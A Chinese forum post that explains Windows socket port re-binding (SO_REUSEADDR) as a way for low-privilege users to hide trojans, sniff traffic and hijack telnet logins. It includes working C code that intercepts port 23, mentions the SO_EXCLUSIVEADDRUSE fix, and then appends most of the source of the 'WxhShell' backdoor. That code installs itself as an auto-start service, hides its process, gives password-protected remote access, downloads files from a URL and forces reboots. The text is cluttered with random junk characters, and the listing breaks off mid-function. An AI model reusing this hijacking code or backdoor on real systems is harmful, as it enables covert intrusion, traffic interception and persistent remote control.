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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j{NcDe pLn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LZ~}*}jy  
meyO=>  
  saddr.sin_family = AF_INET; I6 Q{ Axy  
:W1B"T<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4"%LgV`  
M[ ,:NE4H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xR5zm %\  
G+Zm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k!wEPi]  
#6Fc-ysk:  
  这意味着什么?意味着可以进行如下的攻击: 140_WV?7  
c0:`+>p2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m3Rss~l  
D3;#:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p!~V@l  
mp>Ne6\Tu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,A!0:+  
p+1kU1F0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'di(5  
Eg#WR&Uq"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ksli-Px  
e:RgCDWL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XRWy#Pj  
agPTY{;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !&vPG>V  
 i(n BXV{  
  #include Zm/I&  
  #include Gmh6|Dsg  
  #include .OSFLY#[?  
  #include    IX 2 dic'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =$Sd2UD  
  int main() O/PO?>@-/  
  { 6^"Spf]  
  WORD wVersionRequested; `-82u :"  
  DWORD ret; qgw)SuwW  
  WSADATA wsaData; 77p8|63  
  BOOL val; pu6@X7W"  
  SOCKADDR_IN saddr; 3etW4  
  SOCKADDR_IN scaddr; GC^>oF  
  int err; <Is~DjIav  
  SOCKET s; di]TS9&9  
  SOCKET sc; 5X,|Pn  
  int caddsize; rE$=~s  
  HANDLE mt; _tQR3I5  
  DWORD tid;   p;9"0rj,z  
  wVersionRequested = MAKEWORD( 2, 2 ); WBY_%RTx  
  err = WSAStartup( wVersionRequested, &wsaData ); NN@'79x  
  if ( err != 0 ) { h7F5-~SpD  
  printf("error!WSAStartup failed!\n"); <GO 5}>}p8  
  return -1; xg_9#  
  } , LVZ  
  saddr.sin_family = AF_INET; 9._owKj  
   J'Y;j^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &O.lIj#F R  
=2.q=a|'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3/ 0E9'  
  saddr.sin_port = htons(23); (od9adSehV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *t,1(Gw|7q  
  { )V?:qCuY>  
  printf("error!socket failed!\n"); N)^` 15w  
  return -1; K+ @R [  
  } Q6rvTV'vv  
  val = TRUE; p5\B0G<m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )lrmP(C*.a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F!&$Z .  
  { |WDMyKf6J  
  printf("error!setsockopt failed!\n"); D $3Mg  
  return -1; q=`i  
  } Dt=@OZW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0 pPSg9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :2(U3~3:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B 42t  
B0|!s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E]dmXH8A  
  { oA]rwa UX  
  ret=GetLastError(); 'nSo0cyQ  
  printf("error!bind failed!\n"); g=]VQ;{  
  return -1; 5l4YYwd>v  
  } jPa"|9A  
  listen(s,2); V3<H8pL  
  while(1) &Na,D7A:3I  
  { r: M>/Z/  
  caddsize = sizeof(scaddr); u@pimRVo  
  //接受连接请求 g}n-H4LI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); db`L0JB  
  if(sc!=INVALID_SOCKET) Ws*UhJY<GS  
  { =a^}]k}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :.aMhyh#*  
  if(mt==NULL) p;n"zr8U  
  { 2v?fbrC5c  
  printf("Thread Creat Failed!\n"); D,P{ ,/  
  break; JK'FJ}Z4  
  } N|\Q:<!2_w  
  } szC<ht?z  
  CloseHandle(mt); X)b@ia'"Wp  
  } u.dYDi  
  closesocket(s); 2R];Pv  
  WSACleanup(); 8(ej]9RObU  
  return 0; )J{ .z   
  }   |Q+:vb:  
  DWORD WINAPI ClientThread(LPVOID lpParam)  HvzXAd  
  {  jH>`:  
  SOCKET ss = (SOCKET)lpParam; v8f1o$R  
  SOCKET sc; 2xK v;  
  unsigned char buf[4096]; V;29ieE!  
  SOCKADDR_IN saddr; 3>QkO.b  
  long num; w?:tce   
  DWORD val; @A'@%Zv-  
  DWORD ret; ?!HU$>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O_\%8*;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !QS j*)V#  
  saddr.sin_family = AF_INET; W.CbNou  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dJ>~  
  saddr.sin_port = htons(23); cp$GP*{@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `i<omZ[aT  
  { @|([b r|O  
  printf("error!socket failed!\n"); ohna1a^  
  return -1; ?"$Rw32  
  } )k.}>0K |  
  val = 100; zd|n!3;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5y8VA4L/o  
  { c*.-mS~Z`  
  ret = GetLastError();  D9h  
  return -1; yQ0:M/r;0  
  } Q@KCODi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) we8aqEomr  
  { ?k dan  
  ret = GetLastError(); Kv9Z.DY  
  return -1; 6GA+xr=  
  } ir|c<~_=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Kk`Lu S?  
  { %X|u({(zb  
  printf("error!socket connect failed!\n"); ?W2u0N  
  closesocket(sc); +}R#mco5K  
  closesocket(ss); +\]Gu(z<  
  return -1; )M><09  
  } DS=$* Trk  
  while(1) \{ve6`7Rn  
  { #MFIsx)r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =;"=o5g_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Bmt^*;WY+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iD*L<9  
  num = recv(ss,buf,4096,0); $C{,`{=  
  if(num>0) =;Dj[<mJ45  
  send(sc,buf,num,0); y*%uGG5  
  else if(num==0) Wh)!Ha}  
  break; f@[qS7ok  
  num = recv(sc,buf,4096,0); R$X~d8o>%  
  if(num>0) % Ai' 6  
  send(ss,buf,num,0); A `{hKS  
  else if(num==0) }OY/0p-Z  
  break; X ,{ 3_  
  } ALj~e#{;z  
  closesocket(ss); RqX^$C8M  
  closesocket(sc); F3hG8YX  
  return 0 ; yd=b!\}WJ  
  } *3)kr=x  
z]7/Gc,j  
E>+>!On)b  
========================================================== yzT4D>1,  
!2h ZtX  
下边附上一个代码,,WXhSHELL 6?'7`p  
t{s*,X\b  
========================================================== k!Q{u2  
q=}1ud}1  
#include "stdafx.h" DD2K>1A1  
.+,U9e:%  
#include <stdio.h> Wy%FF\D.Y  
#include <string.h> >n^780S|  
#include <windows.h> T*nP-b  
#include <winsock2.h> zz /4 ()u  
#include <winsvc.h> IVY)pS"pR"  
#include <urlmon.h> @{W"mc+  
R0%M9;>1  
#pragma comment (lib, "Ws2_32.lib") u"4 B5D  
#pragma comment (lib, "urlmon.lib") Evd|_W-  
hHHQmK<r  
#define MAX_USER   100 // 最大客户端连接数 axpZ`BUc  
#define BUF_SOCK   200 // sock buffer )+R n[MMp  
#define KEY_BUFF   255 // 输入 buffer wZs 2 aa  
qV6WT&)T  
#define REBOOT     0   // 重启 uFha N\S  
#define SHUTDOWN   1   // 关机 FWA?mde  
]IEZ?+F,  
#define DEF_PORT   5000 // 监听端口 <z\`Ma  
z;!"i~fFK  
#define REG_LEN     16   // 注册表键长度 rtfRA<  
#define SVC_LEN     80   // NT服务名长度 2,wwI<=E'  
kg 8Dn  
// 从dll定义API BM'!odRv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JQ 6M,O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hGkJ$QT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kRc+OsY9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xx(C$wCJ  
=J4|"z:  
// wxhshell配置信息 1X&.po  
struct WSCFG { %IZd-N7i^  
  int ws_port;         // 监听端口 uKXNzz  
  char ws_passstr[REG_LEN]; // 口令 8xg^="OJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1)MDnODJ  
  char ws_regname[REG_LEN]; // 注册表键名 &a;?o~%*]i  
  char ws_svcname[REG_LEN]; // 服务名 "?.#z]']  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4M|u T 9-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z`u$#<ukX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N!Rt040.%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FF~r&h8H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %4f.<gz~r|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;0Pv49q  
NB4O,w  
}; kw@^4n+M  
!Av9 ?Q:  
// default Wxhshell configuration r4fHD~#l{  
struct WSCFG wscfg={DEF_PORT, c(e>Rmh  
    "xuhuanlingzhe", p |1u,N  
    1, #,u|*O:  
    "Wxhshell", z V\+za,  
    "Wxhshell", t2s/zxt  
            "WxhShell Service", wV"`Du7E;  
    "Wrsky Windows CmdShell Service", "J`&"_CyZ  
    "Please Input Your Password: ", Be=rBrI>  
  1, CF2Bd:mfZ  
  "http://www.wrsky.com/wxhshell.exe", Rh?bBAn8  
  "Wxhshell.exe" ~y2zl  
    }; 2Jio_Hk  
]Ob|!L(  
// 消息定义模块 18!y7 _cFT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ##*]2Dy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G %6P`:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hg(<>_~  
char *msg_ws_ext="\n\rExit."; a9z#l}IQ  
char *msg_ws_end="\n\rQuit."; m^G(qoZ]  
char *msg_ws_boot="\n\rReboot..."; P0jr>j@^-  
char *msg_ws_poff="\n\rShutdown..."; b.@a,:"  
char *msg_ws_down="\n\rSave to "; {VE h@yn  
'Vo8|?.WhX  
char *msg_ws_err="\n\rErr!"; S k~"-HL|  
char *msg_ws_ok="\n\rOK!"; CMaph  
-g]Rs!w'  
char ExeFile[MAX_PATH]; L"NHr~  
int nUser = 0; XS[L-NHG  
HANDLE handles[MAX_USER]; Ch_rV+  
int OsIsNt; jk{(o09  
]MV8rC[\  
SERVICE_STATUS       serviceStatus; <aJQV)]\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wDZ<UP=X  
/N"3kK,N  
// 函数声明 UnF8#~  
int Install(void); "(^XZAU#W  
int Uninstall(void); (Z SaAn),  
int DownloadFile(char *sURL, SOCKET wsh); "|L" C+tE  
int Boot(int flag); DS<1"4 b|  
void HideProc(void); a+E&{p V  
int GetOsVer(void); Ki2!sADd  
int Wxhshell(SOCKET wsl); -f)fiQ-<  
void TalkWithClient(void *cs); FT@uZWgQ=  
int CmdShell(SOCKET sock); M  9t7y  
int StartFromService(void); x8PT+KC  
int StartWxhshell(LPSTR lpCmdLine); r8J7zTD&  
#Ub_m@@ 4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hTr5Q33y>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7{L4a\JzT  
6'r8.~O  
// 数据结构和表定义 DPTk5o[  
SERVICE_TABLE_ENTRY DispatchTable[] = .$%p0Yx+  
{ t'v t'[~,U  
{wscfg.ws_svcname, NTServiceMain}, 0jf6 z-4  
{NULL, NULL} \ ;npdFy  
}; :oP LluW*  
c+9L6}D  
// 自我安装 2 }r=DAe0  
int Install(void) <EpL<K%  
{ rp||#v0l!w  
  char svExeFile[MAX_PATH]; XH"+oW  
  HKEY key; /x6p  
  strcpy(svExeFile,ExeFile); a/sjW  
l@4_D;b3o"  
// 如果是win9x系统,修改注册表设为自启动 //q(v,D%Q  
if(!OsIsNt) { ;Y$>WKsV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &12K pEyf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _\ToA9m  
  RegCloseKey(key); b-&iJ &>'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;u UFgDi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :8A+2ra&  
  RegCloseKey(key); QPJ \Iu@D$  
  return 0; elOeXYO0  
    } G%<}TI1}  
  } wA=r ]BT  
} ,#A(I#wL~  
else { $ J`O-"M  
h:YD $XE  
// 如果是NT以上系统,安装为系统服务 \k.`xG?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N+|NI?R?}  
if (schSCManager!=0) GM%+yS}(P  
{ n|w+08c"  
  SC_HANDLE schService = CreateService 1F^Q*t{  
  ( 9-KhJq%  
  schSCManager, Oj5UG*  
  wscfg.ws_svcname, &O&HczO  
  wscfg.ws_svcdisp, 0 &zp  
  SERVICE_ALL_ACCESS, Ts5)r(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XA>W >|  
  SERVICE_AUTO_START, &S,D;uhF  
  SERVICE_ERROR_NORMAL, =ejj@c  
  svExeFile, K,E/.Qe\C  
  NULL, A`c%p7Z%  
  NULL, KP&+fDa  
  NULL, { mi}3/  
  NULL, SB_Tzp  
  NULL z%;p lMj  
  ); iC gZ3M]  
  if (schService!=0) :Ha/^cC/3  
  { xM*_1+<dT$  
  CloseServiceHandle(schService); B$4*U"tk  
  CloseServiceHandle(schSCManager); 3S0.sU~_U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U0~_'&Fe  
  strcat(svExeFile,wscfg.ws_svcname); ?\}Gi(VVE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { { "y/;x/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `g)}jo`W  
  RegCloseKey(key); Bt+^H6cb  
  return 0; $)i`!7`4=  
    } 7L{1S v  
  } `ONjEl  
  CloseServiceHandle(schSCManager); b_0THy.Z  
} X z+%Ym  
} rhJ&* 0M  
e~o!Qm  
return 1; _gvFs %J  
} ;[v!#+yml  
q2qi~}l  
// 自我卸载 6j<9Y  
int Uninstall(void) M tN>5k c  
{ |Wh3a#  
  HKEY key; oaY_6  
IGdiIhH~2  
if(!OsIsNt) { ^|]&"OaB Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }u Y2-l  
  RegDeleteValue(key,wscfg.ws_regname); C"{^wy{sL  
  RegCloseKey(key); aAo|3KCs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WJShN~ E  
  RegDeleteValue(key,wscfg.ws_regname); {keZ_2  
  RegCloseKey(key); 1|bXIY.J*  
  return 0; L$ZjMJ  
  } d>NGCe  
} 88g3<&  
} i]JTKL{\q  
else { (!~cO x   
S* h52li  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h3ygL"k  
if (schSCManager!=0) jh5QIZf=  
{ vwCQvt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rPV Q#iB  
  if (schService!=0) 8Sbz)X  
  { [);oj<  
  if(DeleteService(schService)!=0) { DiCz%'N  
  CloseServiceHandle(schService); z+"tAVB[i  
  CloseServiceHandle(schSCManager); uZqL'l+/y  
  return 0; i Ha?b2=)  
  } E)"19l|}B  
  CloseServiceHandle(schService); peQwH  
  } B}e/MlX3M  
  CloseServiceHandle(schSCManager); nzq   
} rTPgHK]?l  
} J2mHPV A3  
uYJS=NGNA  
return 1; zj 6I:Q r  
} fPR_ 3qgQ  
@Jt$92i5PS  
// 从指定url下载文件 -JW~_Q[  
int DownloadFile(char *sURL, SOCKET wsh) ]\E"oZ  
{ lZFu|(  
  HRESULT hr; '-iEbE  
char seps[]= "/"; @HT\Y%E  
char *token; =|3BkmO  
char *file; "J VIkC  
char myURL[MAX_PATH]; v 6~9)\!j  
char myFILE[MAX_PATH]; "<,lqIqA;  
N5Js.j>z  
strcpy(myURL,sURL); _&gi4)q  
  token=strtok(myURL,seps); z7K{ ,y  
  while(token!=NULL) Q$%apL  
  { (q)}`1d'  
    file=token; 7]=&Q4e4  
  token=strtok(NULL,seps); ]\, ?u /  
  } ["-rD y P  
z0"t]4s  
GetCurrentDirectory(MAX_PATH,myFILE); <Ap_#  
strcat(myFILE, "\\"); X! d-"[  
strcat(myFILE, file); Gh;\"Qx  
  send(wsh,myFILE,strlen(myFILE),0); mdi!Q1pS  
send(wsh,"...",3,0); {u'szO}k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o`T.Zaik,  
  if(hr==S_OK) X+X:nL.t  
return 0; yD\q4G  
else 1w,_D.1'  
return 1; !xs}CxEyA  
/MZ<vnN7f  
} 2Q^ q$@L  
i7x&[b  
// 系统电源模块 "LBMpgpU  
int Boot(int flag) 0~|0D#klB  
{ (i "TF2U,<  
  HANDLE hToken; fSo8O  
  TOKEN_PRIVILEGES tkp; 19 5_1?'<  
0'^M}&zCi  
  if(OsIsNt) { Y}~sTuWU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >xWS>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -@v^. @[Z&  
    tkp.PrivilegeCount = 1; 7B?Y.B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Lg:1zC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wu>]R'C  
if(flag==REBOOT) { eG=d)`.JaV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P,v7twc0M  
  return 0; `<XS5h h=  
} xfk -Ezv  
else { ysaRH3M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r~b.tpH  
  return 0; a>4/2#J  
} Dri6\/0  
  } qe]D4K8`Q3  
  else { I?T !  
if(flag==REBOOT) { {^]qaQ[5N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UZdnsG7  
  return 0; hf`y_H+\7  
} x39tnf/F  
else { N,`@Q7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h ldZA  
  return 0; xP8/1wd.  
} 0h-NT\m  
} gtKih  
D*l(p5[  
return 1; y?s z&*:  
} ak7%  
 \XDiw~0  
// win9x进程隐藏模块 \f,<\mJ#  
void HideProc(void) }8'_M/u\  
{ kQ\GVI11?  
]TvMT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j.M]F/j  
  if ( hKernel != NULL ) V&zeC/xSq  
  { oodA&0{)d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6 AO(A *  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2;)IBvK  
    FreeLibrary(hKernel); /xn|d#4  
  } {_7hX`p  
@&jR^`Y.  
return; \kE0h\  
} ys=2!P-[#  
175e:\Tw  
// 获取操作系统版本 %1&X+s3  
int GetOsVer(void) G^'We6<  
{ g;l K34{  
  OSVERSIONINFO winfo; kNuvJ/St  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6(rm%c  
  GetVersionEx(&winfo); 8\J$\Edv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l;-2hZ  
  return 1; Tzd#!Lvm:,  
  else ~-"CU:$o  
  return 0; h;=~%2Y  
} r^k+D<k[7  
=Jp:dM*  
// 客户端句柄模块 O%t? -h  
int Wxhshell(SOCKET wsl) = MByD&o`  
{ =svFw&q"  
  SOCKET wsh; {-)^?Zb @  
  struct sockaddr_in client; 'a(y]QG  
  DWORD myID; ximVh}'a  
m2SJ\1 J=  
  while(nUser<MAX_USER) A&}]:4@{  
{ D;sG9Hky  
  int nSize=sizeof(client); 0hY3vBQ!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J;sQvPHV8  
  if(wsh==INVALID_SOCKET) return 1; ^"Bhp:o2  
BOpZ8p'eH1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :ok.[q  
if(handles[nUser]==0) 4 95Y<x}=  
  closesocket(wsh); 65Z}Hf  
else ?0)K[Kd'Y  
  nUser++; 4(8c L?J`0  
  } UDHOcb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NXD-  
y,?=,x}o#  
  return 0; k7uX!}  
} ~,,r\Y+  
rDl/R^w"  
// 关闭 socket ll__A|JQ  
void CloseIt(SOCKET wsh) B9l~Y/3|  
{ m{oe|UVcmr  
closesocket(wsh); \: ZDY(>1  
nUser--; a3n Wt  
ExitThread(0); E"}%$=yK  
} v:lkvMq|=  
(o{Y;E@/y  
// 客户端请求句柄 V;^-EWNj  
void TalkWithClient(void *cs) ^a qQw u  
{ l#uF%;GDX  
uV|F 3'jT  
  SOCKET wsh=(SOCKET)cs; 5$ How!  
  char pwd[SVC_LEN]; 27}:f?2hbJ  
  char cmd[KEY_BUFF]; ?* ~4~ZE E  
char chr[1]; (YJ2- X~  
int i,j; H2iIBGu|L  
M._h=wX{}  
  while (nUser < MAX_USER) { t!4 (a0\$F  
hq4&<Zr(  
if(wscfg.ws_passstr) { P%B|HnG^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mN-O{k0\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +:Xg7H*  
  //ZeroMemory(pwd,KEY_BUFF); FM%WMyb[  
      i=0; ^/%o I;O{  
  while(i<SVC_LEN) { wsdZwik  
sudh=_+>  
  // 设置超时 &$ }6:  
  fd_set FdRead; y%|Ez  
  struct timeval TimeOut; aP(~l_  
  FD_ZERO(&FdRead); aGW O3Nk  
  FD_SET(wsh,&FdRead); N?3p,2  
  TimeOut.tv_sec=8; i`YZ;L L  
  TimeOut.tv_usec=0; G%Lt>5*!nE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TFldYKd/l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~M7X]  
iwIn3R,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Ptl&0MN%  
  pwd=chr[0]; {pQ8/Af!  
  if(chr[0]==0xd || chr[0]==0xa) { /.s L[X-G  
  pwd=0; UV|{za$&/  
  break; =ZS Yg K  
  } .NWsr*Tel  
  i++; A46dtFD{  
    } CUB;0J(  
uf]wX(*<k  
  // 如果是非法用户,关闭 socket PL"=>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bv41et+Kb  
} 9~^k3!>0  
_R0O9sPTO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nls$ wE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *QNX?8Fm_  
.`*;AT  
while(1) { `C7pM  
wBlE!Pm  
  ZeroMemory(cmd,KEY_BUFF); t .&JPTK-H  
<=!t!_  
      // 自动支持客户端 telnet标准   {%6 '|<`[  
  j=0; uih8ZmRt  
  while(j<KEY_BUFF) { LD{~6RP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `4ga~Ch  
  cmd[j]=chr[0]; [6\O <-?  
  if(chr[0]==0xa || chr[0]==0xd) { bs}SFTL  
  cmd[j]=0; Rhlm  
  break; d~.hp  
  } #_Uo^Mw  
  j++; p  Dg!Cs  
    } io"NqR#"v  
EAh|$~X  
  // 下载文件 |+~P; fG  
  if(strstr(cmd,"http://")) { O*2{V]Y @  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +-x+c: IxA  
  if(DownloadFile(cmd,wsh)) /_JR7BB^X,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jn]l!nm  
  else WCaMPz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6wOj,}2Mn  
  } ui"`c%2n  
  else { 1C=42ZZ&2  
gjiS+N[  
    switch(cmd[0]) { EGRIhnED#  
  @<OsTF L  
  // 帮助 -0'< 7FSQ  
  case '?': { @6[aLF]F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *?Oh%.HgF  
    break; Mu.tq~b >  
  } W`[7|8(6!  
  // 安装 $Q|6W &?[;  
  case 'i': { TJcHqzcUc  
    if(Install()) SA"4|#3>7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,LOx!  
    else 6QHUBm2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M"-53|#:w\  
    break; ?t;,Nk`jx  
    } "SKv'*\b  
  // 卸载 !!6@r|.  
  case 'r': { `^g-2~  
    if(Uninstall()) 0p,_?3nX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J,h'eY5  
    else 5OTZa>H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pNHL&H\  
    break; #VZ-gy4$\B  
    } .i7"qq.M  
  // 显示 wxhshell 所在路径 ;M+~ e~  
  case 'p': { Q>z (!'dw  
    char svExeFile[MAX_PATH]; -hK^*vJ  
    strcpy(svExeFile,"\n\r"); wO%617Av  
      strcat(svExeFile,ExeFile); v&])D/a  
        send(wsh,svExeFile,strlen(svExeFile),0); '\pSUp  
    break; 5:~ zlg  
    } n>o=RQ2  
  // 重启 _Fkb$NJ"]Q  
  case 'b': { 98|1K>C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %@I= $8j  
    if(Boot(REBOOT)) ip|l3m$Mi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;F2"gTQS  
    else { r"7 !J[u  
    closesocket(wsh); .L)j ql%  
    ExitThread(0); eH;{Ln  
    } 43`Atw`\  
    break; ;P8.U(  
    } Z'wGZ(  
